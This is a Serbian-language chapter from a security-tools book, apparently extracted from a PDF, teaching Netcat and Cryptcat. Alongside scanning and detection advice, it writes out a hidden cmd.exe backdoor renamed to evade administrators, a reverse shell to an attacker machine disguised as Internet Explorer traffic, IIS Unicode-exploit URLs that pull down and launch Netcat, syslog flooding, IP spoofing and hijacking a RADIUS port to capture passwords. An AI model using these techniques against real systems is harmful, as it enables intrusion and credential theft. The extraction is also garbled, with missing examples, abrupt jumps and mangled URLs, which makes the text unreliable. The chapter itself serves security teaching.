Professional Documents
Culture Documents
Netcat I Cryptcat PDF
Netcat I Cryptcat PDF
Multifunkcionalni
i
alati
U ovom delu:
1. Netcat i Cryptcat
3. X Window sistem
4. VMware
5. Cygwin
O
O
poglavlje
Netcat i Cryptcat
1
K
Kao {to }ete videti kroz ovu knjigu, na raspolaganju Vam je obilje alata za
specifi~an cilj. Na primer, neki alati skupljaju informacije o mre`i i mre`nim domenima.
O
DEO I Multifunkcionalni alati
Netcat
Prosto govore}i, Netcat stvara i prihvata TCP (Transmission Control Protocol) i UDP (User
Datagram Protocol) konekcije. To je to! Netcat pi{e i ~ita podatke preko ovih konekcija dok se
one ne zatvore. To donosi osnovni TCP/UDP mre`ni podsistem koji omogu}ava korisniku da
manualno ili preko skripta vr{i interakciju sa mre`nim aplikacijama i servisima na aplikativnom
nivou. Omogu}ava nam da vidimo ~iste TCP i UDP podatke pre nego {to oni budu umotani u
slede}i vi{i nivo kao {to je FTP (File transfer Protocol), SMTP (Simple Mail Transfer Protocol) ili
HTTP (Hypertext Transfer Protocol).
NAPOMENA
Tehni~ki, Netcat ne stvara UDP konekcije jer je UDP bezkonekcioni protokol. Kroz ovo poglavlje, kada
pominjemo stvaranje UDP konekcije kori{}enjem Netcat-a, mislimo na upotrebu Netcat-a u UDP modu za
po~etak slanja podataka UDP servisu koji je mo`da na prijemnom kraju. n
Netcat ne radi ni{ta ma{tovito. Ne poseduje lep grafi~ki interfejs (GUI) i ne izdaje svoje rezultate
u privla~ni izve{taj. On je grub, jednostavan i ru`an, ali zbog ~injenice da funkcioni{e na takvom
osnovnom nivou omogu}ava sebi da bude koristan za mno{tvo situacija. Iz ~injenice da sam
Netcat ne donosi nu`no nikakve zna~ajne rezultate ukoliko se ne koristi u tandemu sa drugim
alatima ili tehnikama, neiskusni korisnik mogao bi da previdi Netcat kao ni{ta vi{e nego jedan
hvaljeni telnet klijent. Drugi ne bi mogli da vide mogu}nosti kroz argumente komandne linije,
detaljno opisane u README fajlu. Do kraja ovog poglavlja, u svakom slu~aju, ceni}ete ~injenicu
kako Netcat mo`e biti jedan od najvrednijih alata u Va{em arsenalu.
Implementacija
Zato {to ima tako puno upotreba, Netcat se ~esto poredi sa {vajcarskim no`i}em (eng. "Swiss
army knife") za TCP/IP u UDP. Pre nego {to nau~ite da ga koristite, naravno, mora}ete da ga
preuzmete (eng. download) sa mre`e i instalirate.
Preuzimanje
Netcat se mo`e prona}i na dosta lokacija, mada mnoge Unix distribucije dolaze sa Netcat bina-
rnim datotekama ve} instaliranim, nije lo{a ideja da prona|ete izvorni kod Netcat-a i sami ga
kompajlirate. Po standardnom pode{avanju, Netcat kode se ne kompajlira u nekoliko opcija koje
biste `eleli. Preuzimanjem izvornog koda i pravljenjem izvr{ne datoteke, mo`ete ta~no odrediti
koje }ete Netcat mogu}nosti imati na raspolaganju.
Instalacija
Ne}emo pokriti detalje preuzimanja, otpakovanja i izgradnje ve}ine alata pomenutih u knjizi. Ali
zbog ~injenice da Vas prvo upoznajemo sa Netcat-om i {to poseduje neke opcije prilikom
kompajliranja koje bi mogle da Vas interesuju, bitno je da zavirimo u detalje.
O
Netcat i Cryptcat POGLAVLJE 1
[root@originix tmp]#
ls nc110.tgz
[root@originix tmp]# mkdir nc
[root@originix tmp]# cd nc
[root@originix tmp]# tar zxf ../nc110.tgz
[root@originix tmp]#
NAPOMENA
Za razliku od ve}ine "tarbola" (arhiva kreiranih tar alatom na Unix-u), Netcat ne kreira sam svoj pod
direktorijum. To sada mo`e izgledati trivijalno, ali ako su tarbol i njegovi poddirektorijumi preuzeti sa
Net-a u jedan direktorijum, a Vi otkrijete da je Netcat smestio sve svoje fajlove u taj isti, koreni direktorijum
gde ste ga snimili, mo`e biti pomalo mu~no da sve to sredite. n
Sada ste spremni za kompajliranje. Slede dve opcije za kompajliranje koje su va`ne:
l GAPING_SECURETY_HOLE DDKao {to ime sugeri{e (otvorena bezbednosna rupa),
ova opcija mo`e u~initi Netcat opasnim u pogre{nim rukama, ali ga tako|e ~ini vrlo
mo}nim. Sa ovom opcijom uklju~enom, Netcat mo`e da okupira eksterni program.
Ulaz/izlaz (I/O) tog programa }e te}i kroz Netcat kanal podataka. Ovo omogu}ava
Netcat-u da se pona{a kao la`ni inetd alat, omogu}avaju}i Vam da izvr{ite udaljene
komande (kao {to je pokretanje Unix-ovog komandnog okru`enja-eng. shell)
jednostavno stvaraju}i TCP i UDP konekcije portu koji oslu{kuje. Ova opcija nije
omogu}ena po unapred pode{enom stanju jer postoji veliki potencijal za
zloupotrebu i pogre{nu pode{enost. Me|utim, pravilnom upotrebom, ova
opcija mo`e biti kriti~na.
l TELNET DDUobi~ajeno, ako koristite Netcat za konekciju sa telnet serverom (koriste}i:
nc imeservera 23), ne}ete sti}i daleko. Telnet serveri i klijenti se dogovore oko
nekoliko opcija pre nego {to se prika`e odzivna linija za logovanje na sistem.
Omogu}avanjem ove opcije, Netcat mo`e odgovoriti ovim telnet opcijama (tako
{to }e re}i ne svakoj od njih) i omogu}iti Vam da pristupite odzivnoj liniji za
logovanje. Bez ove mogu}nosti, morali biste pisanjem skripta da re{ite problem
odgovaranja telnet opcijama ukoliko ste uop{te `eleli da uradite ne{to korisno sa
Netcat-om i telnetom.
Verovatno niste svesni zna~aja ovih opcija u ovom trenutku, ali vide}ete za{to smo ovo izneli
kada vidite neke primere kasnije u ovom poglavlju.
Da biste omogu}ili obe ove opcije, mora}ete da dodate DFLAGS liniju na po~etku fajla koji se
zove makefile.
O
DEO I Multifunkcionalni alati
### PREDEFINES
Mo`ete uklju~iti jednu ili obe ove opcije u DFLAGS liniji. Ukoliko `elite da se poigrate sa primerima
koji slede, mora}ete da u~inite ovu modifikaciju. Me|utim, pre nego {to to u~inite, uverite se da
ili posedujete sistem na kome radite ili da ste potpuno onemogu}ili pristup drugih korisnika do
izvr{nog fajla koji }ete upravo napraviti. Iako je dovoljo lako za druge korisnike da preuzmu sa
mre`e kopiju Netcat-a i naprave zavr{ni fajl sa ovim opcijama, verovatno ne biste voleli da vidite
kako Vam je sistem hakovan, jer je neko koristio Va{u "specijalno napravljenu" verziju Netcat-a
kao tajni ulaz (eng. backdoor) u Va{ sistem.
Sada ste spremni da izvr{ite kompajliranje. Jednostavno otkucajte: make systemtype u odzivnoj
liniji, gde je systemtype (dovoljno ~udno) tip Unix-a koji koristite (koji mo`e biti: linux, freebsd,
solaris itd.) Kada je gotovo, ima}ete sre}ni mali "nc" binarni fajl koji se nalazi u direktorijumu.
Komandna linija
Osnovna komandna linija za Netcat je: nc <opcije> host ports, gde je host ime domena ili IP
adresa za skeniranje i ports je ili jedan port, ili niz portova (ozna~en "m-n") ili individualni
portovi odvojeni blanko karakterima (eng. spaces). Sada skoro ste spremni da vidite neke
zapanjuju}e stvari koje mo`ete uraditi sa Netcat-om. Me|utim prvo pogledajte detaljan pregled
svake opcije komande linije da biste imali osnovno razumevanje mogu}nosti:
l -d DDDostupna jedino na Windows-u, ova opcija stavlja Netcat u skriveni mod,
omogu}avaju}i mu da se podeli i radi nezavisno od kontrolne MS-DOS odzivne linije.
Omogu}ava da Netcat radi u prislu{nom modu bez potrebe da ga dr`ite u otvorenom
komadnom prozoru. Tako|e poma`e hakeru da bolje sakrije pokrenuti Netcat od
sistem administratora.
l -e <command> DDUkoliko je Netcat kompajliran sa GAPING_SECURITY_HOLE
opcijom, u prislu{nom modu }e izvr{iti <command> kada neko napravi konekciju na
port koji Netcat prislu{kuje u tom trenutku, dok }e klijent Netcat proslediti podatke
drugoj kopiji Netcat-a koja prislulu{kuje. Kori{}enje ove opcije je izuzetno opasno
ukoliko neznate ta~no {ta radite. To je lak i brz na~in za postavljenje backdoor
komandnog okru`enja na sistem (primeri slede).
O
Netcat i Cryptcat POGLAVLJE 1
O
DEO I Multifunkcionalni alati
O
Netcat i Cryptcat POGLAVLJE 1
l -w <seconds>D DKontroli{e koliko }e Netcat ~ekati pre nego {to odustane od konekci-
je. Tako|e govori Netcat-u koliko dugo da ~eka posle posle primanja EOF
(end-of-file- kraja fajla) preko standardnog ulaza i zatvaranja konekcije i izlaza.
Ovo je bitno ukoliko {aljete komandu kroz Netcat udaljenom serveru i o~ekujete
veliku koli~inu podataka u povratku (na primer, slanje HTTP komande serveru za
preuzimanje velikog fajla).
l -z DDUkoliko Vas interesuje koji portovi su otvoreni, verovatno biste trebali koristiti
nmap (vidi poglavlje 6). Ali, ova opcija nala`e Netcat-u da {alje samo onoliko
podataka da bi otkrio koji portovi u Va{em nazna~enom opsegu stvarno imaju
ne{to {to ih oslu{kuje.
Sada, kada imate predstavu o mogu}nostima Netcat-a, pogledajte neke realne prakti~ne primere
iz upotrebe ovog alata.
C:\>
Connection closed by foreign host.
[root@originix /root]#
Vrlo jednostavno, zar ne? Ali je tako|e i dosta zastra{uju}e. Bez mnogo truda, obezbedili ste
odzivnu liniju na sistemu. Me|utim, na Windows NT i 2000 sistemima, ima}ete iste pristupe i
priviliegije kao i korisnik koji je pokrenuo Netcat. Upad na ovaj na~in u Windows 95 i 98
(koriste}i command.com umesto cmd.exe) }e Vam dati kontrolu nad celim sistemom. Ovo
pokazuje kako Netcat mo`e biti opasan u pogre{nim rukama.
O
DEO I Multifunkcionalni alati
NAPOMENA
Netcat se, izgleda, pona{a izuzetno nestabilno na Windows 95 i 98 platformama, naro~ito ukoliko se vi{e
puta pokrene. n
Hajde da malo razradimo ovu komandu. Imajte na umu da }e Netcat raditi unutar DOS prozora
koji inicajlno pokrenut. Ovo zna~i da kontrolni DOS prozor treba da ostane otvoren dok Netcat
radi. Koriste}i -d opciju da ga odvojite od komandnog prozora treba da omogu}i Netcat-u da
nastavi sa radom ~ak i posle zatvaranja komandnog prozora.
Ovo bolje zavr{ava posao skrivanja Netcat bekdora. Me|utim, ako se neko telnetom pove`e na
port 4455, ~im pre taj korisnik okon~a konekciju, Netcat }e po standardnoj pode{enosti misliti
da je zavr{io i zaustavi}e oslu{kivanje. Koristite -L opciju umesto -l da biste mu nalo`ili da
oslu{kuje ja~e (nastavi da oslu{kuje{ i ponovo po~ni sa istom komandnom linijom posle
zavr{etka pve konverzacije).
Ovo mo`e omogu}iti hakeru povratak u sistem dok sistem administrator ne uo~i bekdor videv{i
pokrenuti nc.exe u task menad`eru. Haker mo`e ovo imati na umu i preimenovati nc.exe u ne{to
drugo.
Sistem administratoru mo`e proma}i ne{to bezopasno kao update.exe-{to mo`e biti bilo {ta.
Haker isto tako mo`e sakriti i komandnu lniju. Jo{ jedna osobina Netcat-a je da ako ga pokrenete
bez komandne linije on }e sam zatra`iti opcije komandne linije na prvoj linije standardnog
ulaza:
C:\>Windows\System32\Drivers\update.exe
Cmd line: -l -p 4455 -d -L -e cmd.exe
C:\>
Sada, ako sistem administrator pokrene poverljivu komandu netstat -a -n u DOS promptu,
primeti}e da je ne{to pokrenuto na dosta ~udnom portu, telnetom se povezati na taj port i
otkriti trik. Me|utim, Windows koristi nekoliko slu~ajno odabranih portova za razli~ite razloge
pa netstat-ov izlaz mo`e oduzeti dragoceno vreme za analizu, naro~ito na sistemima sa puno
aktivnosti.
Hakeri mogu probati druga~iji pristup. Ako se infiltriraju na Citrix server, na primer, kojem
pristupaju nekoliko korisnika koji surfuju Web-om, treba o~ekivati dosta DNS (Domain Name
System) zahteva i Web konekcija. Pokretanje netstat -a -n }e otkriti puno odlaze}ih TCP
konekcija na port 80. Umesto da pokrenete Netcat u prislu{nom modu na sistemu i ~ekate na
konekcije, Netcat mo`e proslediti ulaz/izlaz cmd.exe programa drugoj pokrenutoj kopiji Netcat-a
koja oslu{kuje na udaljenom sistemu na portu 80. Na svom kraju, haker treba da pokrene:
root@originix /root]# nc -l -p 80
10
O
Netcat i Cryptcat POGLAVLJE 1
Sa Windows sistema haker mo`e pametno "sakriti" Netcat ponovo, i proslediti slede}e komande:
C:\>mkdir C:\Windows\System32\Drivers\q
C:\>move nc.exe C:\Windows\System32\Drivers\q\iexplore.exe
C:\>cd Windows\System32\Drivers\q
C:\WINDOWS\System32\DRIVERS\q>iexplore.exe
Cmd line: -d -e cmd.exe originix 80
C:\Windows\System32\DRIVERS\q>
Sada bi prislu{kuju}i Netcat trebao podi}i komandno okru`enje sa Windows ma{ine. Ovo mo`e
zavr{iti bolji posao sakrivanja bekdora od sistem administratora. Na prvi pogled, konekcije }e
izgledati ba{ kao Internet Explorer koji stvara tipi~ne HTTP konekcije. Jedina mana za hakera je
to {to posle zatvaranja komandnog okru`enja, ne postoji na~in da ga ponovo pokrenete na
Windows strani.
Postoji nekoliko na~ina na koje sistem administrator mo`e otkriti infiltraciju prljavog Netcat-a:
l Koriste}i alat za pretragu fajlova u Windows-u i tra`e}i sve fajlove koji sadr`e tekst
"listen mode" ili "inbound connects". Svi izvr{ni fajlovi koji se pojave mogu biti
Netcat.
l Proveriti task menad`er za bilo koji prljavi cmd.exe fajl. Ukoliko haker nije
preimenovao cmd.exe, mo`ete ga tako|e otkriti dok koristi udaljeno komandno
okru`enje jer }e cmd.exe biti pokrenut iz razloga koji je Vama nepoznat.
l Koriste}i netstat komandu (Poglavlje 2) ili (Poglavlje 18) da bi video koji se portovi
trenutno koriste i koje aplikacije ih koriste. Ina~e, budite oprezni sa netstatom. Netstat
mo`e lako biti zamenjen sa "trojan" verzijom programa koja je specijalno napravljena
da bi haker prikrio odre|enu aktivnost. Tako|e, netstat nekada ne}e prijaviti
oslu{kuju}i TCP soket dok ne{to nije povezano na njega.
Upravo ste videli dva razli~ita na~ina da dobijete udaljeno komandno okru`enje na Windows
sistemu. O~igledno, neki drugi faktori koji mogu da uti~u na uspeh sa obe metode uklju~uju
srednje za{titne barijere, port filtere ili proxy servere koji zapravo filtriraju HTTP zaglavlja (samo
da imenujemo nekoliko).
Posebno ova upotreba Netcata je bila pokreta~ka snaga nekih popularnih exploita IIS-a (Internet
Informatio Server) 4.0 Microsoft Data Access Components (MDAC) i Unicode osetljivosti.
Nekoliko varijacija postoji, ali u svim slu~ajevima exploiti koriste ove slabosti, koje omuga}avaju
bilo kome da komande na sistemu kao IIS korisniku koriste}i specijalno kreirane URL-ove. Ovi
exploiti mogu iskoristiti program kao {to je Trivial File Transfer Protocol (TFTP) ako je instaliran,
prebaciti nc.exe sa udaljenog sistema na kome je pokrenut TFTP server, pokrenuti jednu od
bekdor komandi. Evo URL-a u poku{aju da iskoristi TFTP za preuzimanje Netcat-a sa udaljene
lokacije koriste}i exploit Unicode osetljivosti:
http://10.10.0.1/scripts/../%c1%pc/../winnt/system32/cmd.exe?/c+tftp%20
i%20originx&20GET%20update.exe
11
O
DEO I Multifunkcionalni alati
Ukoliko je uspe{na, ova komanda }e efektivno smestiti Netcat na 10.10.0.1 u Interpub poddi-
rektorijum direktorijuma Scripts kao update.exe. Haker onda mo`e pokrenuti Netcat koriste}i
drugi URL:
http://10.10.0.1/scripts/../%c1/pc/../inetpub/scripts/update.exe?-l%20-d%20-
L%20-p%20443%20-e%20cmd.exe
NAPOMENA
Web server interpretira %20 kao blanko karakter u URL-u gore. n
Povezivanje telnetom na sistem preko porta 443 treba da obezbedi komandni prompt. Ovo je
efektan i jednostavan napad i ~ak mo`e biti izvr{en skriptom i automatizovan. Me|utim, ovaj
pristup ostavlja tragove iza sebe. Pre svega, svi URL koji su kori{}eni bi}e sme{teni u IIS logovima.
Pretra`ivanjem IIS logova za tftp }e otkriti da li je neko poku{avao ovaj napad. Tako|e, ve}ina
aktuelnih IDS verzija }e tra`iti URL-ove formatirane na ovaj na~in (t.j. URL sadr`i cmd.exe ili
specijalne Unicode karaktere). Postoji nekoliko na~ina kojima mo`ete izvr{iti prevenciju napada
ovog tipa.
l Obezbedite da IIS koristi najnoviji sigurnosni paket.
l Blokirajte odlaze}e konekcije sa Va{eg web servera na mre`noj barijeri (firewall). U
ve}ini slu~ajeva Va{ web server ne bi trebao da inicira konekcije ka ostatku sveta. ^ak
iako je IIS osetljiv, TFTP }e propasti jer ne}e biti u mogu}nosti da se pove`e sa TFTP
serverom napada~a.
Ali, ovo ne}e raditi. Upamtite da Netcat nije specifi~no port skener. U ovoj situaciji, Netcat bi
po~eo kod porta 80 i poku{ava TCP konekcije dok ne{to ne odgovori. ^im dobije odgovor,
Netcat bi ~ekao na standardni ulaz pre nego {to nastavi. Ovo nije ono {to nam treba.
Re{enje je -z opcija. Ova opcija nala`e Netcat-u da {alje minimalnu koli~inu podataka da bi
dobila odgovor s otvorenog porta. Kada se koristi -z mode, nemate mogu}nost opcije prenosa
bilo kakvog ulaza ka Netcat-u (pa i sama opcija glasi "Nula I/O mod" , nula-eng. zero i odatle
-z), a tako|e ne}ete videti ni izlaz. Po{to Vam -v opcija uvek daje detalje o konekciji koje Netcat
pravi, mo`ete je koristiti da vidite rezultat skeniranja portova. Bez nje...pa... ne}ete videti ni{ta-
kao {to mo`ete primetiti ovde:
O
Netcat i Cryptcat POGLAVLJE 1
Posle upotrebe -v opcije, mo`ete videti ne{to sumnjivo izme|u portova 20 i 80. Kako ovo
izgleda u syslog-u?
Feb 12 03:50:23 originix sshd[21690]: Did not recive ident string from
192.168.1.105.
Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe
Feb 12 03:50:23 originix ftpd[21691]: FTP session closed
Primeti}ete kako su se svi doga|aji dogodili u isto vreme i sa inkrementima proces ID-a (21689
do 21691). Zamislite da ste skenirali {irok opseg portova. Krajnji ishod bi bio dosta veliki trag. A
neki servisi, ~ak su i toliko drski da odaju IP adresu skenera.
^ak iako skenirate portove na kojima ni{ta nije aktivno (i zbog toga ne zavr{ite u hostovom
syslog-u), ve}ina mre`a poseduje sistem detekcije upada koji }e odmah ozna~iti ovaj oblik
pona{anja i privu}i pa`nju administratora. Neke aplikacije mre`nih barijera }e automatski bloki-
rati IP adresu sa koje prime previ{e konekcija u kratkom vremenskom periodu.
Netcat omogu}ava na~ine da u~inite skeniranje ne{to diskretnijim. Mo`ete koristiti -i opciju da
namestite interval izme|u prenosa podataka. Du`e }e trajati dobijanje informacija, ali su ve}e
{anse da skeniranje promakne radaru. Upotreba -r opcije da izme{ate redosled po kome Netcat
skenira portove }e tako|e pomo}i da skeniranje manje li~i na skeniranje portova:
Mo`ete raditi isti na~in prikrivenog skeniranja portova koriste}i i UDP. Jednostavno dodajte -u
komandnoj liniji za pregled UDP umesto TCP portova.
SAVET
UDP skeniranje poseduje problem. Netcat zavisi od primanja Internet Control Message Protocol (ICMP)
gre{ke da bi odredio da li je UDP port otvoren ili zatvoren. Ako je ICMP blokiran mre`nim barijerama ili
filterom, Netcat mo`e pogre{no prijaviti zatvoren UDP port kao otvoren. n
Netcat nije najsofisticiraniji alat za upotrebu u port skeniranju. Zato {to se mo`e koristiti za
mnoge op{te namene umesto da izvr{ava jedan zadatak izuzetno dobro, mo`da bi bilo bolje da
koristite port skener koji je specijalno napisan za tu svrhu. O port skenerima }emo govoriti u
poglavlju 6.
SAVET
Ako dobijete gre{ke u pogledu adrese koja je ve} u upotrebi kada je poku{ano sa skeniranjem porta
koriste}i Netcat, mo`da biste trebali zaklju~ati Netcat za odre|eni izvorni IP i izvorni port (koriste}i -s i -p
opcije). Izaberite port koji znate da mo`ete da koristite (samo superkorisnik mo`e koristiti portove ispod
1024) ili koji nisu vezani za ne{to drugo. n
13
O
DEO I Multifunkcionalni alati
SAVET
Zapamtite da kada automatizujete konekcije ka vi{e portova, koristite barem jednu -v opciju kako biste
odvojili jednu konekciju od druge. Tako|e, ako automatizujete konekcije ka vi{e portova i jedan od njih je
telnet server, morate da koristite -t ako `elite da pro|ete binarne nesta{luke (t.j. pregovaranje o telnet
opcijama). Obi~no je dobra ideja da presko~ite port 23 i pristupite mu zasebno. n
14
O
Netcat i Cryptcat POGLAVLJE 1
Izlaz nije lep, ali sada znamo verzije ova tri servisa. Haker mo`e koristiti ovo da potra`i starije
verzije servisa koji su osetljivi na exploite (http://www.securityfocus.com/ je odli~no mesto
gde mo`ete na}i informacije o osetljivim verzijama servisa). Haker koji prona|e posebno intere-
santan port mogao bi da dobije jo{ i vi{e informacija fokusiraju}i se na te servise i poku{avaju}i
da govori njihovim jezikom.
Hajde da se fokusiramo na Apache Web server. QUIT nije komanda koju taj HTTP razume.
Poku{ajmo da mu ka`emo ne{to {to bi mogao shvatiti.
[to je ovo fino! Razmenili smo malo osnovnog HTTP-a (postavljaju}i GET / HTTP komandu i
onda pritiskanjem ENTER dva puta) i Apache je odgovorio. Omogu}io nam je da vidimo osnovnu
index.html stranu sa svim HTTP zaglavljima netaknutim i bez interpretacija na nivou aplikacija
{to bi ina~e Web pretra`iva~ u~inio. A Server zaglavlje nam govori ne samo da radi Apache na
Unix sistemu, nego da radi na RedHat Linux sistemu.
SAVET
Imajte ne{to na umu. Sistem administratori mogu i}i dotle da sami promene izvorni kod da bi izmenili ove
tipove reklama ne bi li dali la`nu informaciju. To mo`e zadati dosta muke, ali administratori bar mogu imati
utehu u ~injenici da se obmane ovog tipa de{avaju, uvek ostavljaju}i hakera u nedoumici da li stvarno mo`e
verovati informacijama koje prima. n
15
O
DEO I Multifunkcionalni alati
[anse su da ste pokrenuli syslog demon na Va{em UNIX sistemu-zar ne? Ako je Va{ syslog
konfigurisan da prima poruke sa drugih hostova na Va{oj mre`i, vide}ete ne{to na UDP portu
514 kada postavite: netstat -a -n komandu. (Ukoliko ne, pogledajte syslogd man stranu o
tome kako da pokrenete syslog u mre`nom modu). Jedan od na~ina da utvrdite da li syslog
prihvata UDP pakete je da poku{ate ga da pratite i onda vidite da li se ne{to pojavljuje u logu:
[root@originix nc]# echo "<0>I can speak syslog" | ./nc -u 192.168.1.100 514
<0> zna~i najvi{i syslog nivo, kern.emerg, nazna~avaju}i da bi ova poruka trebala biti napisana
negde na sistemu. (pogledajte Va{ /etc/syslog.conf fajlda biste znali ta~no gde). A ako proverite
kernel log, trebali biste videti ne{to otprilike ovako:
SAVET
Ukoliko pokrenete UDP Netcat sesiju ka portu i po{aljete neki ulaz, a onda Netcat odmah iza|e posle pri-
tiska na ENTER, verovatno ni{ta ne radi na tom UDP portu. n
Voila. Ovo je dobar na~in da utvrdite da li udaljeni UDP serveri rade. I ako neki radi sa
neobezbe|enim syslog-om, ostavlja sebe otvorenim za vrlo prost napad koji mo`e napuniti
prostor na disku, pojesti propusni opseg mre`e, prebukirati CPU vreme itd.
Yes komanda izbacuje string (obezbe|en u komandnoj liniji) ponovo i ponovo sve dok se
proces ne uni{ti. Ovo }e poplaviti syslog demon na ciljnom hostu sa "blahblahblah" porukama.
Napada~ ~ak mo`e koristiti i la`nu IP adresu (-s 10.0.0.1) jer su odgovori syslog demona
bezna~ajni.
SAVET
Ukoliko postanete `rtva ovakvog napada, najaktuelnija syslogd verzija sadr`i opciju komandne linije
(FreeBSD syslogd koristi -a) za ograni~avanje hostova sa kojih mogu biti poslati syslog podaci. Osim ako
ne dolazite sa jednog od domena sa te liste , syslogd }e Vas jednostavno ignorisati. Me|utim, zato {to
Netcat mo`e varati izvornu IP adresu sa lako}om u ovom slu~aju, napada~ bi mogao pogoditi ispravnu IP
adresu sa Va{e liste i vratiti Vas nazad gde ste i bili. Blokiranje dolaze}eg syslog saobra}aja preko mre`nih
barijera je uvek najsigurniji ulog. n
16
O
Netcat i Cryptcat POGLAVLJE 1
Netcat nudi -s opciju, koja Vam omogu}ava da specificirate IP adresu koju god `elite. Neko mo`e
zapo~eti skeniranje porta protiv nekoga i iskoristiti -s opciju da bi naveo metu da pomisli da je
skenira Microsoft ili Federal Bureau of Investigation (FBI). Problem se javlja, ina~e, kada `elite da
se odgovor sa skeniranja portova sa skrivenom IP adresom vrate Va{oj realnoj IP adresi. Zato {to
je ciljni domen primio zahtev za konekciju od Microsoft-a, na primer, poku{a}e da po{alje
zahvalnicu Microsoft-ovom IP-u. IP }e, naravno, bez ikakve ideje o ~emu ciljani host govori
poslati reset. Kako vratiti informacije realnom IP-u bez mogu}nosti otkrivanja?
Osim da zapravo hakujemo ma{inu kojoj treba smestiti, jedina druga mogu}a opcija je da
koristimo rutiranje izvora. Rutiranje izvora omogu}ava mre`noj aplikaciji da nazna~i rutu kojom
bi `elela da do|e do destinacije.
Postoje dva tipa rutiranja izvora: striktno i labavo. Striktno rutiranje izvora zna~i da paket mora
nazna~iti svaki skok u ruti do destinacionog domena. Neki ruteri i mre`ni ure|aji jo{ uvek
dozvoljavaju striktno rutiranje izvora, ali samo nekoliko bi jo{ uvek dozvolilo labavo rutiranje
izvora. Labavo rutiranje izvora govori ruteru i mre`nim ure|ajima da ruteri mogu da urade ve}inu
rutiranja do destinacionog domena, ali tako|e govori da paket mora pro}i kroz nazna~eni set
rutera na svom putu do destinacije. Ovo je opasno, jer mo`e omogu}iti hakeru da po{alje paket
kroz ma{inu koju kontroli{e (mo`da ma{inu koja vr{i promenu IP adrese dolaze}eg paketa na
adresu nekog drugog). Kada se odgovor vrati, ponovo }e imati istu opciju labavog rutiranja
izvora i vrati}e se nazad kroz nesta{nu ma{inu (koja onda mo`e vratiti "pravu" IP adresu). Ovom
metodom, rutiranje izvora mo`e omogu}iti napada~u da izvr{i obmanu IP adrese i ipak dobije
odgovor nazad. Ve}ina rutera ignori{e opcije rutiranja izvora, ali ne svi.
Netcatova-g opcija Vam omogu}ava da obezbedite do osam skokova koje paket mora pro}i pre
nego {to stigne na destinaciju. Na primer: nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.
9.9 10.10.9.50 23 }e kontaktirati telnet port na 10.10.9.50 ali ukoliko je opcija rutiranja izvora
omogu}ena na me|u ruterima, saobra}aj }e biti primoran da pro|e preko ove ~etiri lokacije pre
nego {to stigne na destinaciju. Da smo poku{ali: nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g
10.10.9.9 -G 12 10.10.9.50 23, specificiramo pokaziva~ skoka kori{}enjem -G opcije u ovoj
komandi. -G }e postaviti pokaziva~ skoka na n-ti bajt (u ovom slu~aju dvanesti), i zato {to su IP
adrese 4 bajta svaka, pokaziva~ skoka }e po~eti na 10.10.9.50, saobra}aj }e morati da ide jedino
preko poslednje dve ma{ine (jer smo, prema pokaziva~u skoka, ve} bili na prve dve). Na povratnom
putu, me|utim, paket }e pro}i kroz sve ove ~etiri ma{ine.
Ukoliko Va{i ruteri i mre`ni ure|aji nisu pode{eni da ignori{u opciju rutiranja izvornog IP-a, na
sre}u, sistem za detekciju upada pazi na njih (snort, IDS , koje pokrivamo u poglavlju 14, rade
ovo standardno). Svako ko pokrene analizer saobra}aja kao {to je Ethereal, mogao bi sa lako}om
17
O
DEO I Multifunkcionalni alati
da uo~i varanje rutiranjem izvora, jer }e deo opcija IP zaglavlja biti ve}i od normalnog i IP adresa
u rut listi }e biti jasno vidljiva kori{}enjem ASCII dekodera. Ukoliko je to va`no sistem
administratorima, u}i }e u trag vlasniku svake IP adrese u listi u poku{aju da na|u krivca. Pa, da
sumiramo, sme{tanje nekom drugom, za lo{e pona{anje na mre`i je lako. Stvarno pretvaranje da
ste neko drugi je, ipak, ne{to te`e. U oba slu~aja Netcat Vam mo`e pomo}i.
Otimanje servisa
Ulogujte se na Va{ omiljeni sistem i pokrenite komandu netstat -a -n. Potra`ite pri vrhu izlaza
stavke koje oslu{kuju. Trebali biste videti ne{to ovako:
Poslednja tri r-servisa (rlogin, rexec, itd.), {to bi bilo odli~no otkri}e za bilo kog hakera jer su
veoma nebezbedni. Tako|e mo`ete videti da telnet, FTP, X Windows, Web i SSH jo{ uvek rade.
Ali, {ta jo{ vredi primetiti? Prime}ujete kako svaka stavka navodi * za lokalnu adresu? Ovo zna~i
da se svi ovi servisi nisu vezali za specifi~nu IP adresu. Pa {ta? Kako ispada, mnoge IP klijent
implementacije }e prvo poku{ati da kontaktiraju servis oslu{kuju}i specifi~ne IP adrese pre
kontaktiranja servisa oslu{kivanjem na svim IP adresama. Probajte ovu komandu:
Pogledajte Vi to! Sada slu{ate pre X servera. Da ste imali glavni pristup na sistemu, mogli biste da
oslu{kujete portove ni`e od 1024 i otimate stvari kao {to je telnet, Web, i druge izvore. Ali puno
interesantnih autentifikacija od tre}ih lica, deljenje fajlova i druge aplikacije koriste vi{e portove.
Regularni korisnik na Va{em sistemu (nazva}emo ga "joeuser") mo`e, na primer oteti RADIUS
server (koji uglavnom slu{a na portu 1645 ili 1812 UDP) i pokrenuti Netcat komandu sa -o
opcijom da bi dobio heksadecimalni oblik svih poku{aja logova. On je uhvatio samo odre|enu
koli~inu korisni~kih imena i {ifara bez ~ak i potrebe za root pristupom na sistemu. Naravno, ne}e
potrajati dugo dok se korisnici ne po`ale da servis ne odgovara i aktivnost joeusera }e biti otkrive-
na. Ali ako bar malo zna ne{to o servisu koji otima, mogao bi da prevari servis (kao la`iranjem
odgovora) ili ~ak pro|e kroz servis nekog drugog.
18
O
Netcat i Cryptcat POGLAVLJE 1
#!/bin/sh
DATE='date "+%Y-%m-%d_%H.%M.%S"`
/usr/bin/nc -o hexlog-$DATE slave-radius 1812
SAVET
Ovakvo pona{anje ne}e nu`no raditi sa svakim operativnim sistemom (kernel) na svakom sistemu jer su
mnogi od njih zatvorili ovu odre|enu "petlja-rupu" u sastavu soketa. Testiranje i eksperimenisanje je obi~no
potrebno da bi se utvrdilo da li }e ili ne}e raditi. Na primer, nismo bili u mogu}nosti da otmemo servis na
RedHat Linux 6.1 sistemu koji je pokretao standardnu instalaciju 2.2.12 verzije kernela. Otimanje servisa je
radilo sasvim dobro na FreeBSD 4.3-BETA sistemu, ali samo ukoliko smo imali root privilegije. n
Proksiji i releji
Mo`ete koristiti istu tehniku primenjenu u prethodnom delu da biste kreirali Netcat proksije i
releje. Netcat koji oslu{kuje mo`e biti upotrebljen da zapo~ne drugu Netcat konekciju ka
